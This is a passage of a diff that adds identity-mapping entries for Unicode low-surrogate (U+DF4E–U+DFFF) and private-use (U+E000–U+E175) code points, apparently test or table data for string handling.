+ ["\uDF4E", "\uDF4E"], /* Low Surrogate */
+ ["\uDF4F", "\uDF4F"], /* Low Surrogate */
+ ["\uDF50", "\uDF50"], /* Low Surrogate */
+ ["\uDF51", "\uDF51"], /* Low Surrogate */
+ ["\uDF52", "\uDF52"], /* Low Surrogate */
+ ["\uDF53", "\uDF53"], /* Low Surrogate */
+ ["\uDF54", "\uDF54"], /* Low Surrogate */
+ ["\uDF55", "\uDF55"], /* Low Surrogate */
+ ["\uDF56", "\uDF56"], /* Low Surrogate */
+ ["\uDF57", "\uDF57"], /* Low Surrogate */
+ ["\uDF58", "\uDF58"], /* Low Surrogate */
+ ["\uDF59", "\uDF59"], /* Low Surrogate */
+ ["\uDF5A", "\uDF5A"], /* Low Surrogate */
+ ["\uDF5B", "\uDF5B"], /* Low Surrogate */
+ ["\uDF5C", "\uDF5C"], /* Low Surrogate */
+ ["\uDF5D", "\uDF5D"], /* Low Surrogate */
+ ["\uDF5E", "\uDF5E"], /* Low Surrogate */
+ ["\uDF5F", "\uDF5F"], /* Low Surrogate */
+ ["\uDF60", "\uDF60"], /* Low Surrogate */
+ ["\uDF61", "\uDF61"], /* Low Surrogate */
+ ["\uDF62", "\uDF62"], /* Low Surrogate */
+ ["\uDF63", "\uDF63"], /* Low Surrogate */
+ ["\uDF64", "\uDF64"], /* Low Surrogate */
+ ["\uDF65", "\uDF65"], /* Low Surrogate */
+ ["\uDF66", "\uDF66"], /* Low Surrogate */
+ ["\uDF67", "\uDF67"], /* Low Surrogate */
+ ["\uDF68", "\uDF68"], /* Low Surrogate */
+ ["\uDF69", "\uDF69"], /* Low Surrogate */
+ ["\uDF6A", "\uDF6A"], /* Low Surrogate */
+ ["\uDF6B", "\uDF6B"], /* Low Surrogate */
+ ["\uDF6C", "\uDF6C"], /* Low Surrogate */
+ ["\uDF6D", "\uDF6D"], /* Low Surrogate */
+ ["\uDF6E", "\uDF6E"], /* Low Surrogate */
+ ["\uDF6F", "\uDF6F"], /* Low Surrogate */
+ ["\uDF70", "\uDF70"], /* Low Surrogate */
+ ["\uDF71", "\uDF71"], /* Low Surrogate */
+ ["\uDF72", "\uDF72"], /* Low Surrogate */
+ ["\uDF73", "\uDF73"], /* Low Surrogate */
+ ["\uDF74", "\uDF74"], /* Low Surrogate */
+ ["\uDF75", "\uDF75"], /* Low Surrogate */
+ ["\uDF76", "\uDF76"], /* Low Surrogate */
+ ["\uDF77", "\uDF77"], /* Low Surrogate */
+ ["\uDF78", "\uDF78"], /* Low Surrogate */
+ ["\uDF79", "\uDF79"], /* Low Surrogate */
+ ["\uDF7A", "\uDF7A"], /* Low Surrogate */
+ ["\uDF7B", "\uDF7B"], /* Low Surrogate */
+ ["\uDF7C", "\uDF7C"], /* Low Surrogate */
+ ["\uDF7D", "\uDF7D"], /* Low Surrogate */
+ ["\uDF7E", "\uDF7E"], /* Low Surrogate */
+ ["\uDF7F", "\uDF7F"], /* Low Surrogate */
+ ["\uDF80", "\uDF80"], /* Low Surrogate */
+ ["\uDF81", "\uDF81"], /* Low Surrogate */
+ ["\uDF82", "\uDF82"], /* Low Surrogate */
+ ["\uDF83", "\uDF83"], /* Low Surrogate */
+ ["\uDF84", "\uDF84"], /* Low Surrogate */
+ ["\uDF85", "\uDF85"], /* Low Surrogate */
+ ["\uDF86", "\uDF86"], /* Low Surrogate */
+ ["\uDF87", "\uDF87"], /* Low Surrogate */
+ ["\uDF88", "\uDF88"], /* Low Surrogate */
+ ["\uDF89", "\uDF89"], /* Low Surrogate */
+ ["\uDF8A", "\uDF8A"], /* Low Surrogate */
+ ["\uDF8B", "\uDF8B"], /* Low Surrogate */
+ ["\uDF8C", "\uDF8C"], /* Low Surrogate */
+ ["\uDF8D", "\uDF8D"], /* Low Surrogate */
+ ["\uDF8E", "\uDF8E"], /* Low Surrogate */
+ ["\uDF8F", "\uDF8F"], /* Low Surrogate */
+ ["\uDF90", "\uDF90"], /* Low Surrogate */
+ ["\uDF91", "\uDF91"], /* Low Surrogate */
+ ["\uDF92", "\uDF92"], /* Low Surrogate */
+ ["\uDF93", "\uDF93"], /* Low Surrogate */
+ ["\uDF94", "\uDF94"], /* Low Surrogate */
+ ["\uDF95", "\uDF95"], /* Low Surrogate */
+ ["\uDF96", "\uDF96"], /* Low Surrogate */
+ ["\uDF97", "\uDF97"], /* Low Surrogate */
+ ["\uDF98", "\uDF98"], /* Low Surrogate */
+ ["\uDF99", "\uDF99"], /* Low Surrogate */
+ ["\uDF9A", "\uDF9A"], /* Low Surrogate */
+ ["\uDF9B", "\uDF9B"], /* Low Surrogate */
+ ["\uDF9C", "\uDF9C"], /* Low Surrogate */
+ ["\uDF9D", "\uDF9D"], /* Low Surrogate */
+ ["\uDF9E", "\uDF9E"], /* Low Surrogate */
+ ["\uDF9F", "\uDF9F"], /* Low Surrogate */
+ ["\uDFA0", "\uDFA0"], /* Low Surrogate */
+ ["\uDFA1", "\uDFA1"], /* Low Surrogate */
+ ["\uDFA2", "\uDFA2"], /* Low Surrogate */
+ ["\uDFA3", "\uDFA3"], /* Low Surrogate */
+ ["\uDFA4", "\uDFA4"], /* Low Surrogate */
+ ["\uDFA5", "\uDFA5"], /* Low Surrogate */
+ ["\uDFA6", "\uDFA6"], /* Low Surrogate */
+ ["\uDFA7", "\uDFA7"], /* Low Surrogate */
+ ["\uDFA8", "\uDFA8"], /* Low Surrogate */
+ ["\uDFA9", "\uDFA9"], /* Low Surrogate */
+ ["\uDFAA", "\uDFAA"], /* Low Surrogate */
+ ["\uDFAB", "\uDFAB"], /* Low Surrogate */
+ ["\uDFAC", "\uDFAC"], /* Low Surrogate */
+ ["\uDFAD", "\uDFAD"], /* Low Surrogate */
+ ["\uDFAE", "\uDFAE"], /* Low Surrogate */
+ ["\uDFAF", "\uDFAF"], /* Low Surrogate */
+ ["\uDFB0", "\uDFB0"], /* Low Surrogate */
+ ["\uDFB1", "\uDFB1"], /* Low Surrogate */
+ ["\uDFB2", "\uDFB2"], /* Low Surrogate */
+ ["\uDFB3", "\uDFB3"], /* Low Surrogate */
+ ["\uDFB4", "\uDFB4"], /* Low Surrogate */
+ ["\uDFB5", "\uDFB5"], /* Low Surrogate */
+ ["\uDFB6", "\uDFB6"], /* Low Surrogate */
+ ["\uDFB7", "\uDFB7"], /* Low Surrogate */
+ ["\uDFB8", "\uDFB8"], /* Low Surrogate */
+ ["\uDFB9", "\uDFB9"], /* Low Surrogate */
+ ["\uDFBA", "\uDFBA"], /* Low Surrogate */
+ ["\uDFBB", "\uDFBB"], /* Low Surrogate */
+ ["\uDFBC", "\uDFBC"], /* Low Surrogate */
+ ["\uDFBD", "\uDFBD"], /* Low Surrogate */
+ ["\uDFBE", "\uDFBE"], /* Low Surrogate */
+ ["\uDFBF", "\uDFBF"], /* Low Surrogate */
+ ["\uDFC0", "\uDFC0"], /* Low Surrogate */
+ ["\uDFC1", "\uDFC1"], /* Low Surrogate */
+ ["\uDFC2", "\uDFC2"], /* Low Surrogate */
+ ["\uDFC3", "\uDFC3"], /* Low Surrogate */
+ ["\uDFC4", "\uDFC4"], /* Low Surrogate */
+ ["\uDFC5", "\uDFC5"], /* Low Surrogate */
+ ["\uDFC6", "\uDFC6"], /* Low Surrogate */
+ ["\uDFC7", "\uDFC7"], /* Low Surrogate */
+ ["\uDFC8", "\uDFC8"], /* Low Surrogate */
+ ["\uDFC9", "\uDFC9"], /* Low Surrogate */
+ ["\uDFCA", "\uDFCA"], /* Low Surrogate */
+ ["\uDFCB", "\uDFCB"], /* Low Surrogate */
+ ["\uDFCC", "\uDFCC"], /* Low Surrogate */
+ ["\uDFCD", "\uDFCD"], /* Low Surrogate */
+ ["\uDFCE", "\uDFCE"], /* Low Surrogate */
+ ["\uDFCF", "\uDFCF"], /* Low Surrogate */
+ ["\uDFD0", "\uDFD0"], /* Low Surrogate */
+ ["\uDFD1", "\uDFD1"], /* Low Surrogate */
+ ["\uDFD2", "\uDFD2"], /* Low Surrogate */
+ ["\uDFD3", "\uDFD3"], /* Low Surrogate */
+ ["\uDFD4", "\uDFD4"], /* Low Surrogate */
+ ["\uDFD5", "\uDFD5"], /* Low Surrogate */
+ ["\uDFD6", "\uDFD6"], /* Low Surrogate */
+ ["\uDFD7", "\uDFD7"], /* Low Surrogate */
+ ["\uDFD8", "\uDFD8"], /* Low Surrogate */
+ ["\uDFD9", "\uDFD9"], /* Low Surrogate */
+ ["\uDFDA", "\uDFDA"], /* Low Surrogate */
+ ["\uDFDB", "\uDFDB"], /* Low Surrogate */
+ ["\uDFDC", "\uDFDC"], /* Low Surrogate */
+ ["\uDFDD", "\uDFDD"], /* Low Surrogate */
+ ["\uDFDE", "\uDFDE"], /* Low Surrogate */
+ ["\uDFDF", "\uDFDF"], /* Low Surrogate */
+ ["\uDFE0", "\uDFE0"], /* Low Surrogate */
+ ["\uDFE1", "\uDFE1"], /* Low Surrogate */
+ ["\uDFE2", "\uDFE2"], /* Low Surrogate */
+ ["\uDFE3", "\uDFE3"], /* Low Surrogate */
+ ["\uDFE4", "\uDFE4"], /* Low Surrogate */
+ ["\uDFE5", "\uDFE5"], /* Low Surrogate */
+ ["\uDFE6", "\uDFE6"], /* Low Surrogate */
+ ["\uDFE7", "\uDFE7"], /* Low Surrogate */
+ ["\uDFE8", "\uDFE8"], /* Low Surrogate */
+ ["\uDFE9", "\uDFE9"], /* Low Surrogate */
+ ["\uDFEA", "\uDFEA"], /* Low Surrogate */
+ ["\uDFEB", "\uDFEB"], /* Low Surrogate */
+ ["\uDFEC", "\uDFEC"], /* Low Surrogate */
+ ["\uDFED", "\uDFED"], /* Low Surrogate */
+ ["\uDFEE", "\uDFEE"], /* Low Surrogate */
+ ["\uDFEF", "\uDFEF"], /* Low Surrogate */
+ ["\uDFF0", "\uDFF0"], /* Low Surrogate */
+ ["\uDFF1", "\uDFF1"], /* Low Surrogate */
+ ["\uDFF2", "\uDFF2"], /* Low Surrogate */
+ ["\uDFF3", "\uDFF3"], /* Low Surrogate */
+ ["\uDFF4", "\uDFF4"], /* Low Surrogate */
+ ["\uDFF5", "\uDFF5"], /* Low Surrogate */
+ ["\uDFF6", "\uDFF6"], /* Low Surrogate */
+ ["\uDFF7", "\uDFF7"], /* Low Surrogate */
+ ["\uDFF8", "\uDFF8"], /* Low Surrogate */
+ ["\uDFF9", "\uDFF9"], /* Low Surrogate */
+ ["\uDFFA", "\uDFFA"], /* Low Surrogate */
+ ["\uDFFB", "\uDFFB"], /* Low Surrogate */
+ ["\uDFFC", "\uDFFC"], /* Low Surrogate */
+ ["\uDFFD", "\uDFFD"], /* Low Surrogate */
+ ["\uDFFE", "\uDFFE"], /* Low Surrogate */
+ ["\uDFFF", "\uDFFF"], /* Low Surrogate */
+ ["\uE000", "\uE000"], /* Private Use */
+ ["\uE001", "\uE001"], /* Private Use */
+ ["\uE002", "\uE002"], /* Private Use */
+ ["\uE003", "\uE003"], /* Private Use */
+ ["\uE004", "\uE004"], /* Private Use */
+ ["\uE005", "\uE005"], /* Private Use */
+ ["\uE006", "\uE006"], /* Private Use */
+ ["\uE007", "\uE007"], /* Private Use */
+ ["\uE008", "\uE008"], /* Private Use */
+ ["\uE009", "\uE009"], /* Private Use */
+ ["\uE00A", "\uE00A"], /* Private Use */
+ ["\uE00B", "\uE00B"], /* Private Use */
+ ["\uE00C", "\uE00C"], /* Private Use */
+ ["\uE00D", "\uE00D"], /* Private Use */
+ ["\uE00E", "\uE00E"], /* Private Use */
+ ["\uE00F", "\uE00F"], /* Private Use */
+ ["\uE010", "\uE010"], /* Private Use */
+ ["\uE011", "\uE011"], /* Private Use */
+ ["\uE012", "\uE012"], /* Private Use */
+ ["\uE013", "\uE013"], /* Private Use */
+ ["\uE014", "\uE014"], /* Private Use */
+ ["\uE015", "\uE015"], /* Private Use */
+ ["\uE016", "\uE016"], /* Private Use */
+ ["\uE017", "\uE017"], /* Private Use */
+ ["\uE018", "\uE018"], /* Private Use */
+ ["\uE019", "\uE019"], /* Private Use */
+ ["\uE01A", "\uE01A"], /* Private Use */
+ ["\uE01B", "\uE01B"], /* Private Use */
+ ["\uE01C", "\uE01C"], /* Private Use */
+ ["\uE01D", "\uE01D"], /* Private Use */
+ ["\uE01E", "\uE01E"], /* Private Use */
+ ["\uE01F", "\uE01F"], /* Private Use */
+ ["\uE020", "\uE020"], /* Private Use */
+ ["\uE021", "\uE021"], /* Private Use */
+ ["\uE022", "\uE022"], /* Private Use */
+ ["\uE023", "\uE023"], /* Private Use */
+ ["\uE024", "\uE024"], /* Private Use */
+ ["\uE025", "\uE025"], /* Private Use */
+ ["\uE026", "\uE026"], /* Private Use */
+ ["\uE027", "\uE027"], /* Private Use */
+ ["\uE028", "\uE028"], /* Private Use */
+ ["\uE029", "\uE029"], /* Private Use */
+ ["\uE02A", "\uE02A"], /* Private Use */
+ ["\uE02B", "\uE02B"], /* Private Use */
+ ["\uE02C", "\uE02C"], /* Private Use */
+ ["\uE02D", "\uE02D"], /* Private Use */
+ ["\uE02E", "\uE02E"], /* Private Use */
+ ["\uE02F", "\uE02F"], /* Private Use */
+ ["\uE030", "\uE030"], /* Private Use */
+ ["\uE031", "\uE031"], /* Private Use */
+ ["\uE032", "\uE032"], /* Private Use */
+ ["\uE033", "\uE033"], /* Private Use */
+ ["\uE034", "\uE034"], /* Private Use */
+ ["\uE035", "\uE035"], /* Private Use */
+ ["\uE036", "\uE036"], /* Private Use */
+ ["\uE037", "\uE037"], /* Private Use */
+ ["\uE038", "\uE038"], /* Private Use */
+ ["\uE039", "\uE039"], /* Private Use */
+ ["\uE03A", "\uE03A"], /* Private Use */
+ ["\uE03B", "\uE03B"], /* Private Use */
+ ["\uE03C", "\uE03C"], /* Private Use */
+ ["\uE03D", "\uE03D"], /* Private Use */
+ ["\uE03E", "\uE03E"], /* Private Use */
+ ["\uE03F", "\uE03F"], /* Private Use */
+ ["\uE040", "\uE040"], /* Private Use */
+ ["\uE041", "\uE041"], /* Private Use */
+ ["\uE042", "\uE042"], /* Private Use */
+ ["\uE043", "\uE043"], /* Private Use */
+ ["\uE044", "\uE044"], /* Private Use */
+ ["\uE045", "\uE045"], /* Private Use */
+ ["\uE046", "\uE046"], /* Private Use */
+ ["\uE047", "\uE047"], /* Private Use */
+ ["\uE048", "\uE048"], /* Private Use */
+ ["\uE049", "\uE049"], /* Private Use */
+ ["\uE04A", "\uE04A"], /* Private Use */
+ ["\uE04B", "\uE04B"], /* Private Use */
+ ["\uE04C", "\uE04C"], /* Private Use */
+ ["\uE04D", "\uE04D"], /* Private Use */
+ ["\uE04E", "\uE04E"], /* Private Use */
+ ["\uE04F", "\uE04F"], /* Private Use */
+ ["\uE050", "\uE050"], /* Private Use */
+ ["\uE051", "\uE051"], /* Private Use */
+ ["\uE052", "\uE052"], /* Private Use */
+ ["\uE053", "\uE053"], /* Private Use */
+ ["\uE054", "\uE054"], /* Private Use */
+ ["\uE055", "\uE055"], /* Private Use */
+ ["\uE056", "\uE056"], /* Private Use */
+ ["\uE057", "\uE057"], /* Private Use */
+ ["\uE058", "\uE058"], /* Private Use */
+ ["\uE059", "\uE059"], /* Private Use */
+ ["\uE05A", "\uE05A"], /* Private Use */
+ ["\uE05B", "\uE05B"], /* Private Use */
+ ["\uE05C", "\uE05C"], /* Private Use */
+ ["\uE05D", "\uE05D"], /* Private Use */
+ ["\uE05E", "\uE05E"], /* Private Use */
+ ["\uE05F", "\uE05F"], /* Private Use */
+ ["\uE060", "\uE060"], /* Private Use */
+ ["\uE061", "\uE061"], /* Private Use */
+ ["\uE062", "\uE062"], /* Private Use */
+ ["\uE063", "\uE063"], /* Private Use */
+ ["\uE064", "\uE064"], /* Private Use */
+ ["\uE065", "\uE065"], /* Private Use */
+ ["\uE066", "\uE066"], /* Private Use */
+ ["\uE067", "\uE067"], /* Private Use */
+ ["\uE068", "\uE068"], /* Private Use */
+ ["\uE069", "\uE069"], /* Private Use */
+ ["\uE06A", "\uE06A"], /* Private Use */
+ ["\uE06B", "\uE06B"], /* Private Use */
+ ["\uE06C", "\uE06C"], /* Private Use */
+ ["\uE06D", "\uE06D"], /* Private Use */
+ ["\uE06E", "\uE06E"], /* Private Use */
+ ["\uE06F", "\uE06F"], /* Private Use */
+ ["\uE070", "\uE070"], /* Private Use */
+ ["\uE071", "\uE071"], /* Private Use */
+ ["\uE072", "\uE072"], /* Private Use */
+ ["\uE073", "\uE073"], /* Private Use */
+ ["\uE074", "\uE074"], /* Private Use */
+ ["\uE075", "\uE075"], /* Private Use */
+ ["\uE076", "\uE076"], /* Private Use */
+ ["\uE077", "\uE077"], /* Private Use */
+ ["\uE078", "\uE078"], /* Private Use */
+ ["\uE079", "\uE079"], /* Private Use */
+ ["\uE07A", "\uE07A"], /* Private Use */
+ ["\uE07B", "\uE07B"], /* Private Use */
+ ["\uE07C", "\uE07C"], /* Private Use */
+ ["\uE07D", "\uE07D"], /* Private Use */
+ ["\uE07E", "\uE07E"], /* Private Use */
+ ["\uE07F", "\uE07F"], /* Private Use */
+ ["\uE080", "\uE080"], /* Private Use */
+ ["\uE081", "\uE081"], /* Private Use */
+ ["\uE082", "\uE082"], /* Private Use */
+ ["\uE083", "\uE083"], /* Private Use */
+ ["\uE084", "\uE084"], /* Private Use */
+ ["\uE085", "\uE085"], /* Private Use */
+ ["\uE086", "\uE086"], /* Private Use */
+ ["\uE087", "\uE087"], /* Private Use */
+ ["\uE088", "\uE088"], /* Private Use */
+ ["\uE089", "\uE089"], /* Private Use */
+ ["\uE08A", "\uE08A"], /* Private Use */
+ ["\uE08B", "\uE08B"], /* Private Use */
+ ["\uE08C", "\uE08C"], /* Private Use */
+ ["\uE08D", "\uE08D"], /* Private Use */
+ ["\uE08E", "\uE08E"], /* Private Use */
+ ["\uE08F", "\uE08F"], /* Private Use */
+ ["\uE090", "\uE090"], /* Private Use */
+ ["\uE091", "\uE091"], /* Private Use */
+ ["\uE092", "\uE092"], /* Private Use */
+ ["\uE093", "\uE093"], /* Private Use */
+ ["\uE094", "\uE094"], /* Private Use */
+ ["\uE095", "\uE095"], /* Private Use */
+ ["\uE096", "\uE096"], /* Private Use */
+ ["\uE097", "\uE097"], /* Private Use */
+ ["\uE098", "\uE098"], /* Private Use */
+ ["\uE099", "\uE099"], /* Private Use */
+ ["\uE09A", "\uE09A"], /* Private Use */
+ ["\uE09B", "\uE09B"], /* Private Use */
+ ["\uE09C", "\uE09C"], /* Private Use */
+ ["\uE09D", "\uE09D"], /* Private Use */
+ ["\uE09E", "\uE09E"], /* Private Use */
+ ["\uE09F", "\uE09F"], /* Private Use */
+ ["\uE0A0", "\uE0A0"], /* Private Use */
+ ["\uE0A1", "\uE0A1"], /* Private Use */
+ ["\uE0A2", "\uE0A2"], /* Private Use */
+ ["\uE0A3", "\uE0A3"], /* Private Use */
+ ["\uE0A4", "\uE0A4"], /* Private Use */
+ ["\uE0A5", "\uE0A5"], /* Private Use */
+ ["\uE0A6", "\uE0A6"], /* Private Use */
+ ["\uE0A7", "\uE0A7"], /* Private Use */
+ ["\uE0A8", "\uE0A8"], /* Private Use */
+ ["\uE0A9", "\uE0A9"], /* Private Use */
+ ["\uE0AA", "\uE0AA"], /* Private Use */
+ ["\uE0AB", "\uE0AB"], /* Private Use */
+ ["\uE0AC", "\uE0AC"], /* Private Use */
+ ["\uE0AD", "\uE0AD"], /* Private Use */
+ ["\uE0AE", "\uE0AE"], /* Private Use */
+ ["\uE0AF", "\uE0AF"], /* Private Use */
+ ["\uE0B0", "\uE0B0"], /* Private Use */
+ ["\uE0B1", "\uE0B1"], /* Private Use */
+ ["\uE0B2", "\uE0B2"], /* Private Use */
+ ["\uE0B3", "\uE0B3"], /* Private Use */
+ ["\uE0B4", "\uE0B4"], /* Private Use */
+ ["\uE0B5", "\uE0B5"], /* Private Use */
+ ["\uE0B6", "\uE0B6"], /* Private Use */
+ ["\uE0B7", "\uE0B7"], /* Private Use */
+ ["\uE0B8", "\uE0B8"], /* Private Use */
+ ["\uE0B9", "\uE0B9"], /* Private Use */
+ ["\uE0BA", "\uE0BA"], /* Private Use */
+ ["\uE0BB", "\uE0BB"], /* Private Use */
+ ["\uE0BC", "\uE0BC"], /* Private Use */
+ ["\uE0BD", "\uE0BD"], /* Private Use */
+ ["\uE0BE", "\uE0BE"], /* Private Use */
+ ["\uE0BF", "\uE0BF"], /* Private Use */
+ ["\uE0C0", "\uE0C0"], /* Private Use */
+ ["\uE0C1", "\uE0C1"], /* Private Use */
+ ["\uE0C2", "\uE0C2"], /* Private Use */
+ ["\uE0C3", "\uE0C3"], /* Private Use */
+ ["\uE0C4", "\uE0C4"], /* Private Use */
+ ["\uE0C5", "\uE0C5"], /* Private Use */
+ ["\uE0C6", "\uE0C6"], /* Private Use */
+ ["\uE0C7", "\uE0C7"], /* Private Use */
+ ["\uE0C8", "\uE0C8"], /* Private Use */
+ ["\uE0C9", "\uE0C9"], /* Private Use */
+ ["\uE0CA", "\uE0CA"], /* Private Use */
+ ["\uE0CB", "\uE0CB"], /* Private Use */
+ ["\uE0CC", "\uE0CC"], /* Private Use */
+ ["\uE0CD", "\uE0CD"], /* Private Use */
+ ["\uE0CE", "\uE0CE"], /* Private Use */
+ ["\uE0CF", "\uE0CF"], /* Private Use */
+ ["\uE0D0", "\uE0D0"], /* Private Use */
+ ["\uE0D1", "\uE0D1"], /* Private Use */
+ ["\uE0D2", "\uE0D2"], /* Private Use */
+ ["\uE0D3", "\uE0D3"], /* Private Use */
+ ["\uE0D4", "\uE0D4"], /* Private Use */
+ ["\uE0D5", "\uE0D5"], /* Private Use */
+ ["\uE0D6", "\uE0D6"], /* Private Use */
+ ["\uE0D7", "\uE0D7"], /* Private Use */
+ ["\uE0D8", "\uE0D8"], /* Private Use */
+ ["\uE0D9", "\uE0D9"], /* Private Use */
+ ["\uE0DA", "\uE0DA"], /* Private Use */
+ ["\uE0DB", "\uE0DB"], /* Private Use */
+ ["\uE0DC", "\uE0DC"], /* Private Use */
+ ["\uE0DD", "\uE0DD"], /* Private Use */
+ ["\uE0DE", "\uE0DE"], /* Private Use */
+ ["\uE0DF", "\uE0DF"], /* Private Use */
+ ["\uE0E0", "\uE0E0"], /* Private Use */
+ ["\uE0E1", "\uE0E1"], /* Private Use */
+ ["\uE0E2", "\uE0E2"], /* Private Use */
+ ["\uE0E3", "\uE0E3"], /* Private Use */
+ ["\uE0E4", "\uE0E4"], /* Private Use */
+ ["\uE0E5", "\uE0E5"], /* Private Use */
+ ["\uE0E6", "\uE0E6"], /* Private Use */
+ ["\uE0E7", "\uE0E7"], /* Private Use */
+ ["\uE0E8", "\uE0E8"], /* Private Use */
+ ["\uE0E9", "\uE0E9"], /* Private Use */
+ ["\uE0EA", "\uE0EA"], /* Private Use */
+ ["\uE0EB", "\uE0EB"], /* Private Use */
+ ["\uE0EC", "\uE0EC"], /* Private Use */
+ ["\uE0ED", "\uE0ED"], /* Private Use */
+ ["\uE0EE", "\uE0EE"], /* Private Use */
+ ["\uE0EF", "\uE0EF"], /* Private Use */
+ ["\uE0F0", "\uE0F0"], /* Private Use */
+ ["\uE0F1", "\uE0F1"], /* Private Use */
+ ["\uE0F2", "\uE0F2"], /* Private Use */
+ ["\uE0F3", "\uE0F3"], /* Private Use */
+ ["\uE0F4", "\uE0F4"], /* Private Use */
+ ["\uE0F5", "\uE0F5"], /* Private Use */
+ ["\uE0F6", "\uE0F6"], /* Private Use */
+ ["\uE0F7", "\uE0F7"], /* Private Use */
+ ["\uE0F8", "\uE0F8"], /* Private Use */
+ ["\uE0F9", "\uE0F9"], /* Private Use */
+ ["\uE0FA", "\uE0FA"], /* Private Use */
+ ["\uE0FB", "\uE0FB"], /* Private Use */
+ ["\uE0FC", "\uE0FC"], /* Private Use */
+ ["\uE0FD", "\uE0FD"], /* Private Use */
+ ["\uE0FE", "\uE0FE"], /* Private Use */
+ ["\uE0FF", "\uE0FF"], /* Private Use */
+ ["\uE100", "\uE100"], /* Private Use */
+ ["\uE101", "\uE101"], /* Private Use */
+ ["\uE102", "\uE102"], /* Private Use */
+ ["\uE103", "\uE103"], /* Private Use */
+ ["\uE104", "\uE104"], /* Private Use */
+ ["\uE105", "\uE105"], /* Private Use */
+ ["\uE106", "\uE106"], /* Private Use */
+ ["\uE107", "\uE107"], /* Private Use */
+ ["\uE108", "\uE108"], /* Private Use */
+ ["\uE109", "\uE109"], /* Private Use */
+ ["\uE10A", "\uE10A"], /* Private Use */
+ ["\uE10B", "\uE10B"], /* Private Use */
+ ["\uE10C", "\uE10C"], /* Private Use */
+ ["\uE10D", "\uE10D"], /* Private Use */
+ ["\uE10E", "\uE10E"], /* Private Use */
+ ["\uE10F", "\uE10F"], /* Private Use */
+ ["\uE110", "\uE110"], /* Private Use */
+ ["\uE111", "\uE111"], /* Private Use */
+ ["\uE112", "\uE112"], /* Private Use */
+ ["\uE113", "\uE113"], /* Private Use */
+ ["\uE114", "\uE114"], /* Private Use */
+ ["\uE115", "\uE115"], /* Private Use */
+ ["\uE116", "\uE116"], /* Private Use */
+ ["\uE117", "\uE117"], /* Private Use */
+ ["\uE118", "\uE118"], /* Private Use */
+ ["\uE119", "\uE119"], /* Private Use */
+ ["\uE11A", "\uE11A"], /* Private Use */
+ ["\uE11B", "\uE11B"], /* Private Use */
+ ["\uE11C", "\uE11C"], /* Private Use */
+ ["\uE11D", "\uE11D"], /* Private Use */
+ ["\uE11E", "\uE11E"], /* Private Use */
+ ["\uE11F", "\uE11F"], /* Private Use */
+ ["\uE120", "\uE120"], /* Private Use */
+ ["\uE121", "\uE121"], /* Private Use */
+ ["\uE122", "\uE122"], /* Private Use */
+ ["\uE123", "\uE123"], /* Private Use */
+ ["\uE124", "\uE124"], /* Private Use */
+ ["\uE125", "\uE125"], /* Private Use */
+ ["\uE126", "\uE126"], /* Private Use */
+ ["\uE127", "\uE127"], /* Private Use */
+ ["\uE128", "\uE128"], /* Private Use */
+ ["\uE129", "\uE129"], /* Private Use */
+ ["\uE12A", "\uE12A"], /* Private Use */
+ ["\uE12B", "\uE12B"], /* Private Use */
+ ["\uE12C", "\uE12C"], /* Private Use */
+ ["\uE12D", "\uE12D"], /* Private Use */
+ ["\uE12E", "\uE12E"], /* Private Use */
+ ["\uE12F", "\uE12F"], /* Private Use */
+ ["\uE130", "\uE130"], /* Private Use */
+ ["\uE131", "\uE131"], /* Private Use */
+ ["\uE132", "\uE132"], /* Private Use */
+ ["\uE133", "\uE133"], /* Private Use */
+ ["\uE134", "\uE134"], /* Private Use */
+ ["\uE135", "\uE135"], /* Private Use */
+ ["\uE136", "\uE136"], /* Private Use */
+ ["\uE137", "\uE137"], /* Private Use */
+ ["\uE138", "\uE138"], /* Private Use */
+ ["\uE139", "\uE139"], /* Private Use */
+ ["\uE13A", "\uE13A"], /* Private Use */
+ ["\uE13B", "\uE13B"], /* Private Use */
+ ["\uE13C", "\uE13C"], /* Private Use */
+ ["\uE13D", "\uE13D"], /* Private Use */
+ ["\uE13E", "\uE13E"], /* Private Use */
+ ["\uE13F", "\uE13F"], /* Private Use */
+ ["\uE140", "\uE140"], /* Private Use */
+ ["\uE141", "\uE141"], /* Private Use */
+ ["\uE142", "\uE142"], /* Private Use */
+ ["\uE143", "\uE143"], /* Private Use */
+ ["\uE144", "\uE144"], /* Private Use */
+ ["\uE145", "\uE145"], /* Private Use */
+ ["\uE146", "\uE146"], /* Private Use */
+ ["\uE147", "\uE147"], /* Private Use */
+ ["\uE148", "\uE148"], /* Private Use */
+ ["\uE149", "\uE149"], /* Private Use */
+ ["\uE14A", "\uE14A"], /* Private Use */
+ ["\uE14B", "\uE14B"], /* Private Use */
+ ["\uE14C", "\uE14C"], /* Private Use */
+ ["\uE14D", "\uE14D"], /* Private Use */
+ ["\uE14E", "\uE14E"], /* Private Use */
+ ["\uE14F", "\uE14F"], /* Private Use */
+ ["\uE150", "\uE150"], /* Private Use */
+ ["\uE151", "\uE151"], /* Private Use */
+ ["\uE152", "\uE152"], /* Private Use */
+ ["\uE153", "\uE153"], /* Private Use */
+ ["\uE154", "\uE154"], /* Private Use */
+ ["\uE155", "\uE155"], /* Private Use */
+ ["\uE156", "\uE156"], /* Private Use */
+ ["\uE157", "\uE157"], /* Private Use */
+ ["\uE158", "\uE158"], /* Private Use */
+ ["\uE159", "\uE159"], /* Private Use */
+ ["\uE15A", "\uE15A"], /* Private Use */
+ ["\uE15B", "\uE15B"], /* Private Use */
+ ["\uE15C", "\uE15C"], /* Private Use */
+ ["\uE15D", "\uE15D"], /* Private Use */
+ ["\uE15E", "\uE15E"], /* Private Use */
+ ["\uE15F", "\uE15F"], /* Private Use */
+ ["\uE160", "\uE160"], /* Private Use */
+ ["\uE161", "\uE161"], /* Private Use */
+ ["\uE162", "\uE162"], /* Private Use */
+ ["\uE163", "\uE163"], /* Private Use */
+ ["\uE164", "\uE164"], /* Private Use */
+ ["\uE165", "\uE165"], /* Private Use */
+ ["\uE166", "\uE166"], /* Private Use */
+ ["\uE167", "\uE167"], /* Private Use */
+ ["\uE168", "\uE168"], /* Private Use */
+ ["\uE169", "\uE169"], /* Private Use */
+ ["\uE16A", "\uE16A"], /* Private Use */
+ ["\uE16B", "\uE16B"], /* Private Use */
+ ["\uE16C", "\uE16C"], /* Private Use */
+ ["\uE16D", "\uE16D"], /* Private Use */
+ ["\uE16E", "\uE16E"], /* Private Use */
+ ["\uE16F", "\uE16F"], /* Private Use */
+ ["\uE170", "\uE170"], /* Private Use */
+ ["\uE171", "\uE171"], /* Private Use */
+ ["\uE172", "\uE172"], /* Private Use */
+ ["\uE173", "\uE173"], /* Private Use */
+ ["\uE174", "\uE174"], /* Private Use */
+ ["\uE175", "\uE175"], /* Private Use */
